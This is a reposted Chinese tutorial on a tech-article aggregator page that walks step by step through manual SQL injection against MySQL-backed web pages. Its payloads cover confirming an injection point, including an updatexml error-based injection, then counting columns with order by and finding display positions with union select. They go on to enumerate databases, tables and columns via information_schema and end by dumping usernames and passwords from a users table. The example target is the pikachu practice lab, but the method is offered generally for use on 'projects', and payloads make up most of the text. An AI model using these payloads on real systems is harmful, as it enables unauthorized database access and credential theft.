IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> MySQL手动注入步骤 -> 正文阅读

[大数据]MySQL手动注入步骤

MySQL相关的语句

database() 查看当前数据库

user()查看当前用户

version() 查看数据库版本

information_schema 数据库

schemata 表它是储存数据库名称的表

tables 表是用于储存所有表名的

columns 表是储存字段名称的

group_concat() 拼接函数

sleep()睡眠

判断是否存在注入点

判断注入点是有很多的方法,常见的 and -1=-1 还有其它的类型比如,堆叠注入、盲注的布尔型注入,时间型注入,还有报错注入以及闭合的一些符合,’(单引号),” (双引号)括号、百分号等一些闭合符合,还有就是注释符号,-- 或者 # 我局几个例子:
注释:双杠后面需要空格 防止注入失败,双杠注释不起作用就用 #

最常见使用的注入点判断语句

?id=1' and -1=-1 -- bbq

报错注入点

?id=1' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #

我就举例两个,判断注入点方法是很多的,比如过waf等就需要一些转义等,手工注入就是一个个的去验证了

判断有多少个字段数

order by 它是一个排序语句,原理大致就是如果一个表里有三列数据,分别是 id ,user, pwd 这三个字段,那么 order by 1 它会按照 id 那一列字段排序,order by 2 就是按照 user 字段排序,依次类推当出现 order by 4 的时候由于表中没有第四列字段,就回报错那么我们就知道了这个表有三个字段数了,这一步就为了显示错位,也就是为了把我们SQL语句结果展示的地方

?id=1' order by 6 -- bbq

展示显错位

上一步判断字段数时知道了多少列也就是字段数量,那么就展示错位为了下一步注入语句结果的展示
语句中的 11,22,33……是根据判断的字段数来的而且 id或其它参数是查询不到结果的才能展示错位

?id=-1' union select 11,22,33,44,55 -- bbq 

注意:显错位不全或者多了,都会导致没有结果

查询当前数据库

用显示错位的命令,可以看到页面上看到你 11,22,33等数字,在页面显示的数字写入SQL语句来注入
version()查看数据库版本 ,database()查看当前数据库

?id=-1' union select version() ,database(),33,44,55 -- bbq

查询所有数据库:
如果表多页面展示不全,可以使用 LIMIT 一页页展示

?id=-1' union select table_schema,22 from information_schema.tables -- bbq

或者:

?id=-1' union select schema_name,22 from information_schema.schemata-- bbq

table_schema 字段是information_schema数据库的tables表中记录数据库的字段
schema_name 字段是information_schema数据库的schemata表中记录数据库的字段

查询出数据库中的所有表

如果表多页面展示不全,可以使用 LIMIT 一页页展示,也可以使用group_concat() 拼接函数将显示的字段名包起来展示
查询当前数据库的所有表:

?id=-1' union select table_name,22,33 from information_schema.tables where table_schema=database() -- bbq 

table_name 字段是information_schema数据库的tables表中记录数据库表的字段
大致格式样例:?id=-1’ union select table_name,22,33 from information_schema.tables where table_schema=‘数据库名称’ – bbq

查询指定的表中的列名

查询出表名下一步就是,查询字段也就是列名称

查询指定数据库表的所有字段:

?id=-1' union select column_name,22,33 from information_schema.columns where table_schema='pikachu' and table_name='users' -- bbq 

column_name 字段是information_schema数据库的columns表中记录所有表字段的字段
table_schematable_name 字段在information_schema数据库的columns表中记录的和tables表中一样

大致模板:?id=-1’ union select column_name,22,33 from information_schema.columns where table_schema=‘数据库名’ and table_name=‘表名’ – bbq

查询数据

当经过以上步骤,已经知道了数据库名、表名、字段名,那么就可以查询我们需要的数据了
例如:表名是 users 需要的数据字段分别是 username,password

?id=-1' union select username,password,33 from users -- bbq

手工步骤就这样,根据项目情况自己要改变注入方法以及学习其它方法注入

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-07-17 16:30:00  更:2022-07-17 16:30:59 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 13:30:28-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码